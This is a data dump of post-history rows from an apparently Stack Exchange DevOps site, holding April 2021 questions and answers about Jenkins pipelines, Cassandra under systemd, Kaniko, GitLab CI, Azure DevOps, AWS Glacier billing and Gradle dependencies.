  <row Id="43057" PostHistoryTypeId="2" PostId="13668" RevisionGUID="2b9d8b2c-0343-4ab4-82d0-6098dbd0a5e8" CreationDate="2021-04-05T15:08:22.740" UserId="26952" Text="I followed this [tutorial][1] and when i get to 29:32 the option &quot;Build Pipeline View&quot; is not displayed in the list i only get list view and my view.What can be the cause of this ? ( i followed every step carefully)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://youtu.be/m0a2CzgLNsc" ContentLicense="CC BY-SA 4.0" />
  <row Id="43058" PostHistoryTypeId="1" PostId="13668" RevisionGUID="2b9d8b2c-0343-4ab4-82d0-6098dbd0a5e8" CreationDate="2021-04-05T15:08:22.740" UserId="26952" Text="How to create pipeline with jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43059" PostHistoryTypeId="3" PostId="13668" RevisionGUID="2b9d8b2c-0343-4ab4-82d0-6098dbd0a5e8" CreationDate="2021-04-05T15:08:22.740" UserId="26952" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43060" PostHistoryTypeId="2" PostId="13669" RevisionGUID="f9d03249-2312-43a4-9a39-b754fc1beb2e" CreationDate="2021-04-05T15:23:59.697" UserId="26977" Text="This is a plugin that you can install.&#xD;&#xA;&#xD;&#xA;Plugin Name: Build Pipeline&#xD;&#xA;&#xD;&#xA;Plugin Web page: https://plugins.jenkins.io/build-pipeline-plugin/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43061" PostHistoryTypeId="2" PostId="13670" RevisionGUID="b01194f4-2783-4214-90bd-96a46b30d65d" CreationDate="2021-04-05T15:39:57.663" UserId="26977" Text="withCredentials publish environment variables, and in sh to access the environment variables, you have to do it like this: &quot;${env.JOB_BASE_NAME}&quot;.&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;````&#xD;&#xA;withCredentials([usernamePassword(credentialsId: params.git_credential, passwordVariable: 'DOCKER_PASSWORD', usernameVariable: 'DOCKER_USERNAME')]) {&#xD;&#xA;   sh 'git reset --hard; git clone https://${env.DOCKER_USERNAME}:${env.DOCKER_PASSWORD}@repo_url/scm/${params.repository}.git --branch master'&#xD;&#xA;}&#xD;&#xA;````" ContentLicense="CC BY-SA 4.0" />
  <row Id="43062" PostHistoryTypeId="5" PostId="13652" RevisionGUID="8fe7da90-4d01-407c-ac9f-77e713d76b6d" CreationDate="2021-04-05T17:04:40.263" UserId="18637" Comment="Add new updates." Text="I have been tried ran a Ansible Playboo, but after change the `cassandra.yml` when the service tries start I received this error bellow:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;● cassandra.service - LSB: distributed storage system for structured data&#xD;&#xA;   Loaded: loaded (/etc/rc.d/init.d/cassandra; bad; vendor preset: disabled)&#xD;&#xA;   Active: failed (Result: exit-code) since sex 2021-04-02 01:06:05 UTC; 15min ago&#xD;&#xA;     Docs: man:systemd-sysv-generator(8)&#xD;&#xA;  Process: 5052 ExecStop=/etc/rc.d/init.d/cassandra stop (code=exited, status=1/FAILURE)&#xD;&#xA;  Process: 4883 ExecStart=/etc/rc.d/init.d/cassandra start (code=exited, status=0/SUCCESS)&#xD;&#xA; Main PID: 4972 (code=exited, status=3)&#xD;&#xA;&#xD;&#xA;abr 02 01:05:37 ip-10-5-10-195.ec2.internal cassandra[4883]: Starting Cassandra: OK&#xD;&#xA;abr 02 01:05:37 ip-10-5-10-195.ec2.internal systemd[1]: Started LSB: distributed storage system for structured data.&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service: main process exited, code=exited, status=3/NOTIMPLEMENTED&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal runuser[5063]: pam_unix(runuser:session): session opened for user cassandra by (uid=0)&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal cassandra[5052]: Shutdown Cassandra: kill: sending signal to 4972 failed: No such process&#xD;&#xA;abr 02 01:05:40 ip-10-5-10-195.ec2.internal runuser[5063]: pam_unix(runuser:session): session closed for user cassandra&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal cassandra[5052]: ERROR: could not stop cassandra&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service: control process exited, code=exited status=1&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: Unit cassandra.service entered failed state.&#xD;&#xA;abr 02 01:06:05 ip-10-5-10-195.ec2.internal systemd[1]: cassandra.service failed.&#xD;&#xA;```&#xD;&#xA;In my _cassandra.yml_ I just change the mount point/path where Cassandra stores the **data** and sure that this works.&#xD;&#xA;&#xD;&#xA;Looking at Cassandra `system.log` I found:&#xD;&#xA;```&#xD;&#xA;ERROR [main] 2021-04-05 16:57:34,074 CassandraDaemon.java:822 - Exception encountered during startup&#xD;&#xA;java.lang.ExceptionInInitializerError: null&#xD;&#xA;	at org.apache.cassandra.service.CassandraDaemon.setup(CassandraDaemon.java:240)&#xD;&#xA;	at org.apache.cassandra.service.CassandraDaemon.activate(CassandraDaemon.java:676)&#xD;&#xA;	at org.apache.cassandra.service.CassandraDaemon.main(CassandraDaemon.java:800)&#xD;&#xA;Caused by: java.lang.IllegalStateException: Failed to mkdirs /hints; unable to start server&#xD;&#xA;	at org.apache.cassandra.config.DatabaseDescriptor.createAllDirectories(DatabaseDescriptor.java:1395)&#xD;&#xA;	at org.apache.cassandra.db.commitlog.CommitLog.&lt;init&gt;(CommitLog.java:95)&#xD;&#xA;	at org.apache.cassandra.db.commitlog.CommitLog.construct(CommitLog.java:78)&#xD;&#xA;	at org.apache.cassandra.db.commitlog.CommitLog.&lt;clinit&gt;(CommitLog.java:65)&#xD;&#xA;	... 3 common frames omitted&#xD;&#xA;```&#xD;&#xA;It's weird because I create the directory at new mount point with `cassandra:cassandra` permitions:&#xD;&#xA;```&#xD;&#xA;drwxr-xr-x  2 cassandra cassandra   6 abr  5 14:46 commitlog&#xD;&#xA;drwxr-xr-x  2 cassandra cassandra   6 abr  5 14:46 data&#xD;&#xA;drwxr-xr-x  2 cassandra cassandra   6 abr  5 16:53 hints&#xD;&#xA;drwxr-xr-x  2 cassandra cassandra   6 abr  5 16:53 saved_caches&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have been spend long hours trying solve but without success, someone my can help me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43063" PostHistoryTypeId="6" PostId="13652" RevisionGUID="8fe7da90-4d01-407c-ac9f-77e713d76b6d" CreationDate="2021-04-05T17:04:40.263" UserId="18637" Comment="Add new updates." Text="&lt;ansible&gt;&lt;cassandra&gt;&lt;systemd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43064" PostHistoryTypeId="2" PostId="13671" RevisionGUID="ac486533-8943-4031-b4e9-cadb4b93add1" CreationDate="2021-04-05T18:24:19.217" UserId="4328" Text="If you simply need to build a docker image, I recommend using [Kaniko][1]. It allows you to build a docker image without having to expose the docker.sock or running your pods in privileged mode, which introduces potential security vulnerabilities. Per the Kaniko documentation, your spec file would look similar to:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: kaniko&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: kaniko&#xD;&#xA;        image: gcr.io/kaniko-project/executor:latest&#xD;&#xA;        args:&#xD;&#xA;        - &quot;--dockerfile=&lt;path to Dockerfile within the build context&gt;&quot;&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/GoogleContainerTools/kaniko" ContentLicense="CC BY-SA 4.0" />
  <row Id="43065" PostHistoryTypeId="10" PostId="13668" RevisionGUID="aded8024-33b8-451e-b39d-90d812a8bcb6" CreationDate="2021-04-05T18:34:25.977" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13139,&quot;DisplayName&quot;:&quot;Eduardo Baitello&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="43066" PostHistoryTypeId="2" PostId="13672" RevisionGUID="cc11a113-3a17-4347-9e3b-28c6864f4a9f" CreationDate="2021-04-06T06:52:51.217" UserId="26986" Text="Hi I am having two jenkins pipeline pointing to same git repo one pipeline  is named as **mainpipeline** and other is **sit** pipeline. Before **sit pipeline** our git **PR** build is checking the build status from mainpipeline. But after introducing **sit pipeline** which is pointing to same git repo as mainpipeline, our git build status is start checking from sit pipeline . How should i avoid checking the git build status from the sit pipeline and check only from mainpipeline.&#xD;&#xA;&#xD;&#xA;I have suppress the build check status in sit pipeline but sometimes its working and sometimes not below is the screen shot of configuration&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/vI6FZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43067" PostHistoryTypeId="1" PostId="13672" RevisionGUID="cc11a113-3a17-4347-9e3b-28c6864f4a9f" CreationDate="2021-04-06T06:52:51.217" UserId="26986" Text="Checking Jenkins build status from only one pipeline and avoid from other pipeline pointing to same gitlab repo in PR build" ContentLicense="CC BY-SA 4.0" />
  <row Id="43068" PostHistoryTypeId="3" PostId="13672" RevisionGUID="cc11a113-3a17-4347-9e3b-28c6864f4a9f" CreationDate="2021-04-06T06:52:51.217" UserId="26986" Text="&lt;jenkins-pipeline&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43072" PostHistoryTypeId="2" PostId="13674" RevisionGUID="1ec3a4f7-c3da-4b54-b461-7e7f21584098" CreationDate="2021-04-06T09:23:57.593" UserId="26989" Text="I encountered the same issue when using the [GitHub Branch Source Plugin][1] in Jenkins as part of a multibranch pipeline. The documentation for the credentials configuration states:&#xD;&#xA;&#xD;&#xA;&gt; Credentials used to scan branches and pull requests, check out sources and mark commit statuses.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Note that **only &quot;username with password&quot; credentials are supported**.&#xD;&#xA;&gt; Existing credentials of other kinds will be filtered out. This is&#xD;&#xA;because Jenkins uses the GitHub API, which does not support other ways&#xD;&#xA;of authentication.&#xD;&#xA;&gt;&#xD;&#xA;&gt;If none is given, only the public repositories will be scanned, and commit status will not be set on GitHub.&#xD;&#xA;&gt;&#xD;&#xA;&gt;If your organization contains private repositories, then you need to specify a credential from a user who has access to those repositories. **This is done by creating a &quot;username with password&quot; credential where the password is GitHub personal access tokens**. The necessary scope is &quot;repo&quot;.&#xD;&#xA;&#xD;&#xA;After [creating a new Personal Access Token (PAT)][2] in GitHub with 'repo' scope, I added the PAT into the Jenkins Credentials manager as type 'Username and Password' (username was the GitHub account username for which the PAT was created). I then went back to my job configuration in Jenkins and ensured that my new credentials were being used for the GitHub branch source, which validated successfully.&#xD;&#xA;&#xD;&#xA;I'm unsure if this answer applies to the context where you saw this issue (as there isn't too much detail in your question) but hopefully this answer will be useful for someone else in a similar position - as I didn't find many documented instances of this error.&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/github-branch-source/&#xD;&#xA;  [2]: https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token" ContentLicense="CC BY-SA 4.0" />
  <row Id="43073" PostHistoryTypeId="2" PostId="13675" RevisionGUID="587fec84-7cd8-4727-885c-412b4e1f0741" CreationDate="2021-04-06T12:27:52.257" UserId="26992" Text="I am new to DevOps and am currently designing a CI/CD pipeline that involves integrating GitHub webhooks with Jenkins in a Kubernetes environment, and I would like to see whether this is feasible or not.&#xD;&#xA;&#xD;&#xA;Currently, I have a GitHub repository setup with some code. In Kubernetes, we have a volume setup where we plan to clone said repository into this volume. This repository will need to be up-to-date at all times, but we shouldn't manually update this repository every time a change is made. With Jenkins, we want to setup webhooks in GitHub so any time changes made in the code repository will be updated in the volume.&#xD;&#xA;&#xD;&#xA;I am still new to the idea of webhooks and Jenkins will interact in a Kubernetes environment, specifically a volume, so any thoughts and comments would be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43074" PostHistoryTypeId="1" PostId="13675" RevisionGUID="587fec84-7cd8-4727-885c-412b4e1f0741" CreationDate="2021-04-06T12:27:52.257" UserId="26992" Text="Jenkins and Kubernetes Design Involving GitHub" ContentLicense="CC BY-SA 4.0" />
  <row Id="43075" PostHistoryTypeId="3" PostId="13675" RevisionGUID="587fec84-7cd8-4727-885c-412b4e1f0741" CreationDate="2021-04-06T12:27:52.257" UserId="26992" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;cicd&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43076" PostHistoryTypeId="2" PostId="13676" RevisionGUID="a2a86ee3-e370-47d4-9bdf-129505e4da0e" CreationDate="2021-04-06T14:32:10.300" UserId="18637" Text="I found my fault.&#xD;&#xA;It's necessary define a `cassandra.service` to Systemd manages Cassandra:&#xD;&#xA;&#xD;&#xA;_path_: `/etc/systemd/system/cassandra.service`&#xD;&#xA;&#xD;&#xA;And adjust like you installation&#xD;&#xA;```&#xD;&#xA;[Unit]&#xD;&#xA;Description=Cassandra Cluster Node Daemon&#xD;&#xA;&#xD;&#xA;[Service]&#xD;&#xA;Type=forking&#xD;&#xA;User=cassandra&#xD;&#xA;ExecStartPre=/usr/bin/echo &quot;Starting Cassandra Daemon&quot;&#xD;&#xA;ExecStart=/usr/sbin/cassandra&#xD;&#xA;ExecStartPost=/usr/bin/echo &quot;Cassandra Daemon Running&quot;&#xD;&#xA;&#xD;&#xA;ExecStopPost=/usr/bin/rm -rf /cassandra/saved_caches;/usr/bin/echo &quot;Cassandra Daemon Stopped&quot;&#xD;&#xA;&#xD;&#xA;SuccessExitStatus=143&#xD;&#xA;&#xD;&#xA;[Install]&#xD;&#xA;WantedBy=default.target&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43078" PostHistoryTypeId="2" PostId="13677" RevisionGUID="861f490b-1612-45d8-b3f4-2f26af802153" CreationDate="2021-04-06T19:48:28.773" UserId="27006" Text="I'm trying to install Jenkins, but, in one part I need to unlock Jenkins, and I didn't find the file with the password, it doesn't exist on my pc. I tried to run this command on my terminal (Windows): &#xD;&#xA;&#xD;&#xA;    java -jar jenkins.war&#xD;&#xA;&#xD;&#xA;But this is the result: (I'm running the terminal as Administrator)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gdoUK.png&#xD;&#xA;&#xD;&#xA;So what do I do now?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43079" PostHistoryTypeId="1" PostId="13677" RevisionGUID="861f490b-1612-45d8-b3f4-2f26af802153" CreationDate="2021-04-06T19:48:28.773" UserId="27006" Text="I can't find the jenkins password to unlock the website" ContentLicense="CC BY-SA 4.0" />
  <row Id="43080" PostHistoryTypeId="3" PostId="13677" RevisionGUID="861f490b-1612-45d8-b3f4-2f26af802153" CreationDate="2021-04-06T19:48:28.773" UserId="27006" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43081" PostHistoryTypeId="36" PostId="13678" RevisionGUID="745e1200-2308-4fdd-b563-2c9f796790c3" CreationDate="2021-04-06T20:21:31.540" UserId="-1" Comment="from https://stackoverflow.com/questions/66588627/jenkins-active-choice-dynamicreferenceparameter-not-returning-list" />
  <row Id="43082" PostHistoryTypeId="2" PostId="13678" RevisionGUID="638a9915-837b-460f-8405-402759a95791" CreationDate="2021-03-11T18:44:45.310" UserId="11271" Text="I have been trying unsuccessfully to get DynamicReferenceParameter of the Active Choice plugin to show previously selected values as list, however it either shows them on one line or it treats each symbol as a new element in the list. &#xD;&#xA;&#xD;&#xA;    hosts_script = '''&#xD;&#xA;    return['host1', 'host2', 'host3']&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;    properties([&#xD;&#xA;        parameters([&#xD;&#xA;          [$class: 'ChoiceParameter',&#xD;&#xA;            choiceType: 'PT_MULTI_SELECT',&#xD;&#xA;            description: 'Select one or more hosts',&#xD;&#xA;            filterLength: 1,&#xD;&#xA;            filterable: true,&#xD;&#xA;            name: 'hosts',&#xD;&#xA;            randomName: 'choice-parameter-5631314439613978',&#xD;&#xA;            script: [&#xD;&#xA;                $class: 'GroovyScript',&#xD;&#xA;                fallbackScript: [&#xD;&#xA;                    classpath: [],&#xD;&#xA;                    sandbox: true,&#xD;&#xA;                    script:&#xD;&#xA;                        'return[\'Could not get hosts\']'&#xD;&#xA;                ],&#xD;&#xA;                script: [&#xD;&#xA;                    classpath: [],&#xD;&#xA;                    sandbox: true,&#xD;&#xA;                    script: hosts_script,&#xD;&#xA;                ]&#xD;&#xA;            ]&#xD;&#xA;        ],&#xD;&#xA;        [$class: 'DynamicReferenceParameter', &#xD;&#xA;            choiceType: 'ET_UNORDERED_LIST', &#xD;&#xA;            description: 'These are the selected hosts', &#xD;&#xA;            name: 'Selected hosts', &#xD;&#xA;            omitValueField: false, &#xD;&#xA;            randomName: 'choice-parameter-5693388460832175', &#xD;&#xA;            referencedParameters: 'hosts',&#xD;&#xA;            script: [&#xD;&#xA;                $class: 'GroovyScript', &#xD;&#xA;                fallbackScript: [&#xD;&#xA;                    classpath: [], &#xD;&#xA;                    sandbox: true, &#xD;&#xA;                    script: &#xD;&#xA;                        'return[\'Could not get hosts\']'&#xD;&#xA;                ], &#xD;&#xA;                script: [&#xD;&#xA;                    classpath: [], &#xD;&#xA;                    sandbox: true,&#xD;&#xA;                    script: &#xD;&#xA;                        &quot;&quot;&quot;&#xD;&#xA;                        //def list = hosts.replaceAll( '&quot;','\\'' )&#xD;&#xA;                        //List list = hosts.collect{ '\\'' + it + '\\','}&#xD;&#xA;                        //def list1 = new ArrayList(Arrays.asList(hosts))&#xD;&#xA;                        List list = hosts.collect{ '\\'' + it + '\\','} &#xD;&#xA;                        //String list = hosts.inspect()&#xD;&#xA;&#xD;&#xA;                        return list&#xD;&#xA;                        &quot;&quot;&quot;&#xD;&#xA;                  ]&#xD;&#xA;              ]&#xD;&#xA;           ]&#xD;&#xA;        ])&#xD;&#xA;     ])&#xD;&#xA;&#xD;&#xA;I can get this ``` • host1,host2```&#xD;&#xA;&#xD;&#xA;Or this:&#xD;&#xA;&#xD;&#xA;     •'h',&#xD;&#xA;     •'o',&#xD;&#xA;     •'s',&#xD;&#xA;     •'t',&#xD;&#xA;     •'2',&#xD;&#xA;&#xD;&#xA;Where I want this:&#xD;&#xA;&#xD;&#xA;     • host1&#xD;&#xA;     • host2&#xD;&#xA;&#xD;&#xA;At the very end you will see what I have been playing with ... the biggest problem for me is that is impossible to use ```println``` to troubleshoot. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43083" PostHistoryTypeId="1" PostId="13678" RevisionGUID="638a9915-837b-460f-8405-402759a95791" CreationDate="2021-03-11T18:44:45.310" UserId="11271" Text="Jenkins - Active Choice DynamicReferenceParameter not returning list" ContentLicense="CC BY-SA 4.0" />
  <row Id="43084" PostHistoryTypeId="3" PostId="13678" RevisionGUID="638a9915-837b-460f-8405-402759a95791" CreationDate="2021-03-11T18:44:45.310" UserId="11271" Text="&lt;jenkins&gt;&lt;groovy&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43085" PostHistoryTypeId="36" PostId="13679" RevisionGUID="fdfe7df1-b0a1-467d-8715-2807cb618596" CreationDate="2021-04-06T20:21:31.540" UserId="-1" Comment="from https://stackoverflow.com/questions/66588627/jenkins-active-choice-dynamicreferenceparameter-not-returning-list/66597584#66597584" />
  <row Id="43086" PostHistoryTypeId="2" PostId="13679" RevisionGUID="4e58b5e9-9332-4f94-b5b3-5e468e778893" CreationDate="2021-03-12T09:47:13.807" UserId="11271" Text="I figured out what was going on. The return from `hosts` var was a single string with comma separated hostnames `host1, host2`, I had to convert it to List  using the comma as delimiter. The following post https://stackoverflow.com/questions/7488643/how-to-convert-comma-separated-string-to-list helped me with that task.&#xD;&#xA;&#xD;&#xA;Basically the last section now reads &#xD;&#xA;&#xD;&#xA;                    script: &#xD;&#xA;                    &quot;&quot;&quot;&#xD;&#xA;                    List&lt;String&gt; list = Arrays.asList(hosts.split(&quot;\\\\s*,\\\\s*&quot;));&#xD;&#xA;                    return list&#xD;&#xA;                    &quot;&quot;&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43087" PostHistoryTypeId="2" PostId="13680" RevisionGUID="e626228b-f156-4136-b629-b40e1c1349b5" CreationDate="2021-04-07T11:57:28.667" UserId="27027" Text="I'm designing a build &amp; deploy pipeline for our project. We have two jobs:&#xD;&#xA;&#xD;&#xA;* `build` -- builds a docker image with our app and pushes it to a container registry.&#xD;&#xA;* `deploy` -- communicates with an orchestrator, which deploys the new version.&#xD;&#xA;&#xD;&#xA;There's one detail that I'm not sure about. Which choice is better:&#xD;&#xA;&#xD;&#xA;1. Get the full repository in the `deploy` job, while I need only one static config (deployment spec.).&#xD;&#xA;2. Use artifacts to pass the required config file from `build` job to `deploy` job, and set `GIT_STRATEGY` to `none`.&#xD;&#xA;&#xD;&#xA;These two options differ in the `deploy` job environment:&#xD;&#xA;&#xD;&#xA;1. The `deploy` has access to the same context as `build` (full repository):&#xD;&#xA;&#xD;&#xA;   **Pros**:&#xD;&#xA;   - The default behavior (requires no extra code and actions for this option to work).&#xD;&#xA;&#xD;&#xA;   **Cons**:&#xD;&#xA;   - The environment in `deploy` job is dirty.&#xD;&#xA;   - The true context of the `deploy` job is implicit.&#xD;&#xA;   - Someone could misuse it in the future.&#xD;&#xA;&#xD;&#xA;2. The `build` job publishes an artifact with the required config for the `deploy` job:&#xD;&#xA;&#xD;&#xA;   **Pros**:&#xD;&#xA;   - The `deploy` job explicitly has no access to anything unnecessary.&#xD;&#xA;&#xD;&#xA;   **Cons**:&#xD;&#xA;   - Need to configure the `deploy` job not to fetch the repository.&#xD;&#xA;   - Need to configure the `build` job to publish the artifact.&#xD;&#xA;   - Need to configure the `deploy` job to consume the artifact.&#xD;&#xA;   - The artifact always contains an unchanged file from the repository (I'm afraid that I misuse artifacts in that case).&#xD;&#xA;&#xD;&#xA;Please, help me choose." ContentLicense="CC BY-SA 4.0" />
  <row Id="43088" PostHistoryTypeId="1" PostId="13680" RevisionGUID="e626228b-f156-4136-b629-b40e1c1349b5" CreationDate="2021-04-07T11:57:28.667" UserId="27027" Text="Should I struggle for minimalistic context in GitLab CI jobs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43089" PostHistoryTypeId="3" PostId="13680" RevisionGUID="e626228b-f156-4136-b629-b40e1c1349b5" CreationDate="2021-04-07T11:57:28.667" UserId="27027" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43090" PostHistoryTypeId="2" PostId="13681" RevisionGUID="62dd1b8d-22fe-4753-afa0-0e9313935f64" CreationDate="2021-04-07T14:55:03.477" UserId="7861" Text="We are using Microsoft Teams and Planner since a while. Now we are migrating from Bitbucket/Bamboo to Azure DevOps. &#xD;&#xA;&#xD;&#xA;If I create a Team in Microsoft Teams with a Planner-Board, I can see all my tasks in Planner. But when I have tasks in Azure DevOps, I can't see this tasks in Planner. Teams and Azure DevOps is connected to Azure AD. Is there a way to show DevOps-Tasks in Planner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43091" PostHistoryTypeId="1" PostId="13681" RevisionGUID="62dd1b8d-22fe-4753-afa0-0e9313935f64" CreationDate="2021-04-07T14:55:03.477" UserId="7861" Text="See Azure DevOps WorkItems/Tasks in Planner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43092" PostHistoryTypeId="3" PostId="13681" RevisionGUID="62dd1b8d-22fe-4753-afa0-0e9313935f64" CreationDate="2021-04-07T14:55:03.477" UserId="7861" Text="&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43093" PostHistoryTypeId="2" PostId="13682" RevisionGUID="cabca376-ba43-4207-a688-12f62e56240f" CreationDate="2021-04-07T15:26:41.850" UserId="3451" Text="I do an annual offsite backup (personal files) which I transfer to Glacier.&#xD;&#xA;&#xD;&#xA;AWS now charges me 2-3$ per month on my credit card. I have a European credit card (additional charges because of foreign countries and foreign currency).&#xD;&#xA;&#xD;&#xA;Would it be possible to pay this amount annually? Or to pay 100$ as an advance? &#xD;&#xA;&#xD;&#xA;I have not found anything on `https://console.aws.amazon.com/billing` that would suit my needs.&#xD;&#xA;&#xD;&#xA;How you handle monthly micropayments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43094" PostHistoryTypeId="1" PostId="13682" RevisionGUID="cabca376-ba43-4207-a688-12f62e56240f" CreationDate="2021-04-07T15:26:41.850" UserId="3451" Text="Glacier offsite backup costs 2-3$ per month on AWS - avoid monthly credit card payment" ContentLicense="CC BY-SA 4.0" />
  <row Id="43095" PostHistoryTypeId="3" PostId="13682" RevisionGUID="cabca376-ba43-4207-a688-12f62e56240f" CreationDate="2021-04-07T15:26:41.850" UserId="3451" Text="&lt;amazon-web-services&gt;&lt;backup&gt;&lt;billing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43096" PostHistoryTypeId="2" PostId="13683" RevisionGUID="24b33133-fd20-4a07-a2fb-e52e28aca933" CreationDate="2021-04-07T15:34:33.533" UserId="24678" Text="```&#xD;&#xA;$ ./gradlew -v&#xD;&#xA;------------------------------------------------------------&#xD;&#xA;Gradle 4.7&#xD;&#xA;------------------------------------------------------------&#xD;&#xA;```&#xD;&#xA;I have the following `build.gradle` file for Project1&#xD;&#xA;```&#xD;&#xA;dependencies {&#xD;&#xA;  implementation &quot;com.company.common:common-dep:2.0.0&quot;&#xD;&#xA;  implementation &quot;com.company.other:my-other-project:2.0.0&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;I expect it to download `common-dep:2.0.0` artifact.&#xD;&#xA;&#xD;&#xA;Now, here’s the `build.gradle` for `my-other-project:2.0.0`&#xD;&#xA;```&#xD;&#xA;dependencies {&#xD;&#xA;  implementation &quot;com.company.common:common-dep:1.0.0&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;As you can see, it’s dependent on `common-dep:1.0.0`, NOT `common-dep:2.0.0`&#xD;&#xA;&#xD;&#xA;Now when I run dependency on the first project I get&#xD;&#xA;```&#xD;&#xA;./gradlew dependencies&#xD;&#xA;+ com.company.common-dep:2.0.0 -&gt; 1.0.0&#xD;&#xA;```&#xD;&#xA;That is, it uses the the lower version of the artifact, the one that it’s other dependency needs. I’m guessing this is the expected (and correct) behavior?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43097" PostHistoryTypeId="1" PostId="13683" RevisionGUID="24b33133-fd20-4a07-a2fb-e52e28aca933" CreationDate="2021-04-07T15:34:33.533" UserId="24678" Text="Gradle uses lower version of artifact, if another dependency uses that lower version?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43098" PostHistoryTypeId="3" PostId="13683" RevisionGUID="24b33133-fd20-4a07-a2fb-e52e28aca933" CreationDate="2021-04-07T15:34:33.533" UserId="24678" Text="&lt;gradle&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43099" PostHistoryTypeId="2" PostId="13684" RevisionGUID="274cbdd1-f217-4740-99a9-e7e7afc956b7" CreationDate="2021-04-07T18:01:27.407" UserId="26604" Text="I have a Jenkins job which triggers a remote job. Both the jobs have a multiline string as paramter. &#xD;&#xA;I am not able to pass the parameter to the remote job. Only the first line of my input string is passed to the remote job. &#xD;&#xA;&#xD;&#xA;Is it not possible to trigger a remote job with multiline string?&#xD;&#xA;&#xD;&#xA;      def parameters = 'ip_range='&#xD;&#xA;      params.ip_range.readLines().each{&#xD;&#xA;         parameters = parameters + &quot;${it}&quot; + &quot;\n&quot;&#xD;&#xA;      }&#xD;&#xA;      parameters = parameters + &quot;\n&quot;+'remote_branch='+env.BRANCH_NAME&#xD;&#xA;also tried&#xD;&#xA;&#xD;&#xA;      def parameters = 'ip_range=' + params.ip_range + &quot;\n&quot;+'remote_branch='+env.BRANCH_NAME&#xD;&#xA;&#xD;&#xA;Both cases only the first value is passed on as paramter to the remote job. &#xD;&#xA;&#xD;&#xA;&gt;  Console output of jenkins job from either methods&#xD;&#xA;&gt;   - parameters:              [ip_range=1.2.4.5/20, 1.56.23.12/32, remote_branch=21.4.0/INSURECI-203156]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43100" PostHistoryTypeId="1" PostId="13684" RevisionGUID="274cbdd1-f217-4740-99a9-e7e7afc956b7" CreationDate="2021-04-07T18:01:27.407" UserId="26604" Text="Parametrized remote trigger with multiline string Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="43101" PostHistoryTypeId="3" PostId="13684" RevisionGUID="274cbdd1-f217-4740-99a9-e7e7afc956b7" CreationDate="2021-04-07T18:01:27.407" UserId="26604" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
